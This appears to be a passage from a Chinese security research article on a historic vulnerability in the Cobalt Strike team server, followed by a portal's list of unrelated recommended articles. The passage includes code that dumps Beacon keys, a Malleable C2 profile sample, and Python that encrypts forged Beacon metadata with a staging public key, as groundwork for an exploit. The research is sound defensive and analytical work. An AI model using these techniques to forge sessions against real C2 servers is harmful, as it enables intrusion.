互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究( 二 )
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file")
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys")
}
}
}
运行时 , 输出将如下所示:
本文插图
转储密钥
应该注意的是 , 这完全只是为了在编写漏洞利用程序时进行调试 。 在现实世界中 , 由于密钥是通过RSA安全协商的 , 而Beacon只有公共密钥 , 因此无法解密现有的 Beacon通信 。 但是 , 如果你拥有公钥(可以通过checksum8下载URL检索到) , 则可以通过伪会话对任务进行加密和解密 。
Beacon通信加密和元数据
加密 , 解密和结构
来自Beacon的元数据根据可延展的C2配置文件中的设置发送 。 这允许操作者自定义流量的各种属性 , 例如元数据blob的发送位置(例如 , 在标头或cookie中)以及如何对其进行编码 。 以下是来自Cobalt Strike博客示例 。
https://www.cobaltstrike.com/help-malleable-c2
在此示例中 , 将以Base64编码将元数据发送为名为“user”的Cookie 。
Malleable C2 Config
http-get {
set uri "/foobar"
client {
metadata {
base64
prepend "user="
header "Cookie"
}
}
以下HTTP请求捕获显示了发送给Base64的Cookie头中的Base64编码的元数据blob , 这是默认设置:
本文插图
Beacon元数据加密使用带有PKCS1填充的RSA , 以下是Python中使用暂存器公钥加密Beacon元数据的示例:
import M2Crypto
import base64
import binascii
PUBKEY_TEMPLATE = "-----BEGIN PUBLIC KEY-----{}-----END PUBLIC KEY-----"
plaintext = "0000BEEF00000056D48A3A7104FC17544D5A3752C6EEAED4E404B5015FAD878000000A0000000431302E30093139322E3136382E3230302E313031094445534B544F502D3337325251544D0961646D696E0972756E646C6C33322E657865"
buf = M2Crypto.BIO.MemoryBuffer(PUBKEY_TEMPLATE.format("MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhOfC4TICevrbgiUVK5kmvU8aNQNiCfccHxIOV4wzjOn5DpaC49NLoKMsS2fVnMI/f+cbyuqfrXMYmUX8eZDWkmflrBFNOPG8hr8oqhm1EiIvK9S+CsOuLGsEOmefqYk+Gj1nfnJ1uO9ELRv1U+OhmQ77w4u0AZWHPSNr1STYhZQIDAQAB"))
pubkey = M2Crypto.RSA.load_pub_key_bio(buf)
ciphertext = pubkey.public_encrypt(binascii.unhexlify(plaintext), M2Crypto.RSA.pkcs1_padding)
print (base64.b64encode(ciphertext))
解密后(使用从测试团队服务器中提取的私钥) , 元数据如下所示:
解密的元数据Blob
所有解密的元数据blob都以8字节为前缀 , 该字节必须始终存在 。 这8个字节是magic 48879(0xBEEF) , 后跟数据大小:
本文插图
Beacon元数据结构
因此 , 我们现在可以加密/解密元数据 , 现在进入解析 。
Beacon元数据解析
以下Python代码显示了如何分析来自Cobalt StrikeBeacon的元数据 。 在Cobalt Strike<4.0上 , 元数据字段(除了前16个字节之外)由制表符分隔的字符串组成 。 这导致IP地址被视为(未经完整性检查)字符串 , 在版本3.5中会导致目录遍历问题 。 但是 , 在更高版本上 , 使用正则表达式验证IP地址字段以确保它确实是有效的IP地址 。
推荐阅读
- 互联网|上线半年收获6700万用户,这款聚焦下沉用户的陌生人社交APP是怎么做到的?
- 互联网|5G商用一周年,华为云向互联网企业大抛绣球
- 互联网|中台产品经理实战(14):中台与SaaS、微服务关系
- 互联网|行业观察 | 你所不知道的5G消息
- 互联网|多名知名人物推特被黑,拜登奥巴马都“中招”,比尔盖茨也在其内
- 互联网|发放高利贷,还要窃取用户信息?这些金融APP在秀“道德底线”
- 互联网|东莞先知:数字智能,先觉“先知”
- 云计算|从互联网到AI崛起,上海能弯道超车吗?
- 行业互联网,5G|江苏有线顺利完成园区5G信号开通测试
- 行业互联网,AI人工智能|城市教育大脑以“ AI+ 大数据”为核心 , 引领教育变革